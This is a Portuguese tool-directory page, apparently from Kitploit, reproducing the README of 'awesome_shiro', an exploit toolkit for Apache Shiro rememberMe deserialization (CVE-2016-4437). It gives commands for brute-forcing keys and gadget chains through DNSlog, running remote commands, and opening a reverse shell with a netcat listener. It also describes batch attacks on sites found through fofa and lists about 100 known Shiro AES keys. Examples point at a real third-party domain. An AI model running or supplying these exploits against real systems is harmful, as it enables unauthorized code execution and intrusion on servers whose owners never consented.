Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Awesome_shiro — CVE-2016-4437 - Módulo de brute force de desserialização do Shiro e key, execução de comandos, script de reverse shell. | Kitploit
Ferramentas/GitHubGitHub/bkfish/awesome_shiro
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHubbkfish/awesome_shiro

Awesome_shiro

CVE-2016-4437 - Módulo de brute force de desserialização do Shiro e key, execução de comandos, script de reverse shell.

Ver Repositório
5516há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Awesome-shiro

CVE-2016-4437 Ferramenta para exploração de desserialização do Shiro <=1.2.4, módulo de força bruta e chave, execução de código, reverse shell


Causa da vulnerabilidade

Porque o Shiro desserializa o campo rememberMe do cookie, se você souber o método de codificação do Shiro, pode codificar comandos maliciosos usando esse método e colocá-los no cookie do cabeçalho HTTP. Quando o Shiro desserializa o campo rememberMe do cookie enviado, os comandos inseridos são executados, resultando em execução de comandos.

O Shiro usa por padrão o CookieRememberMeManager, cujo fluxo de processamento do cookie é: obter o valor do cookie rememberMe -> decodificar Base64 -> descriptografar AES -> desserializar

Ambiente

Linux/Windows 10 são compatíveis Python2/Python3 são compatíveis Como há o ysoserial.jar no módulo, o projeto é um pouco grande, por favor, seja compreensivo.

Montagem do ambiente local

root@kitploit:~
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

Uso dos scripts

1、shiro_crack.py Uso do módulo de força bruta

Necessita combinar com http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn

Após sucesso, verifique o registro - o formato do registro é {{key}}.{{module}}.dnslogurl

root@kitploit:~
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn

Sabe-se que a chave bem-sucedida é U3ByaW5nQmxhZGUAAAAAAA== e o módulo é CommonsBeanutils1. Como a chave contém símbolos como ==/+, este projeto escapará um pouco. Você precisa comparar com as chaves no Apêndice 1. Encontre um no fofa para testar. 1.png 2.png

Princípio do shiro_crack.py

Na verdade, existem muitas ferramentas de força bruta para módulo e chave online, mas geralmente elas apenas conseguem conexão bem-sucedida sem saber qual módulo e chave foram usados, porque para RCE sem retorno, o código de resposta é sempre 200, independentemente de ter sucesso ou não. Este projeto obtém indiretamente a chave e o módulo bem-sucedidos combinando força bruta com DNSlog. O princípio é a essência do DNSlog: o DNS deixa logs quando é resolvido. Ao ler os logs de resolução de domínios de vários níveis, podemos obter informações de requisição.

2、shiro_rce.py Uso de RCE

Pode combinar com http://dnslog.cn/

root@kitploit:~
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"

Verifique no DNSlog: ping rcetest.x9zm4v.dnslog.cn. Para diferenciar, recomenda-se usar um domínio de nível inferior.

Configuração do shiro_rce

1、Configurar módulo Precisa alterar na linha 13: popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE) onde "CommonsBeanutils1" deve ser alterado para o módulo usado com sucesso na força bruta.

2、Configurar chave Alterar na linha 16:

root@kitploit:~
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 

para a chave obtida com sucesso na força bruta.

Encontre um no fofa para testar. 3.png 4.png

3、shiro_getshell Reverse shell

root@kitploit:~
nc -lvnp 7777
python3 shiro_exp.py -u {{alvo}} -lh {{IP para reverse shell}} -lp {{porta para reverse shell}}

Por segurança, ataque localmente. O princípio é empacotar JRMPListener e payload juntos; na verdade, não seria necessário o jrmplistener.

Teste do shiro_getshell:

6.png 5.png


Um pequeno pensamento Já que pode acessar a rede, por que não usar diretamente o shiro_rec com bash reverse shell? Tentei algumas vezes e falhei. Acho que o Shiro tem algum filtro, mas descobri que posso primeiro fazer o wget de um script sh de reverse shell e depois executá-lo com sh. Referência: Um pequeno estudo sobre reverse shell sem jrmplistener


4、fuzz-shiro

Faça um teste simples baseado nos cabeçalhos de requisição e resposta - coloque os sites com Shiro no shiro.txt

5、shiro_piliang_crack.py

Recomendo primeiro obter sites com Shiro do fuzz-shiro (shiro.txt) e depois atacar em lote. O registro do DNSlog será: {{key}}.{{module}}.{{url}}.dnsurl Testei e funcionou bem.

Perguntas frequentes

1、Ao executar no Windows 10, aparece "No module named 'Crypto'"

Execute os seguintes comandos:

root@kitploit:~
pip uninstall crypto pycryptodome
pip install pycryptodome

No diretório de instalação do Python, em \Lib\site-packages, renomeie a pasta crypto para Crypto.

Apêndice 1, Chaves comuns do Shiro

root@kitploit:~
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==
Baixar ferramenta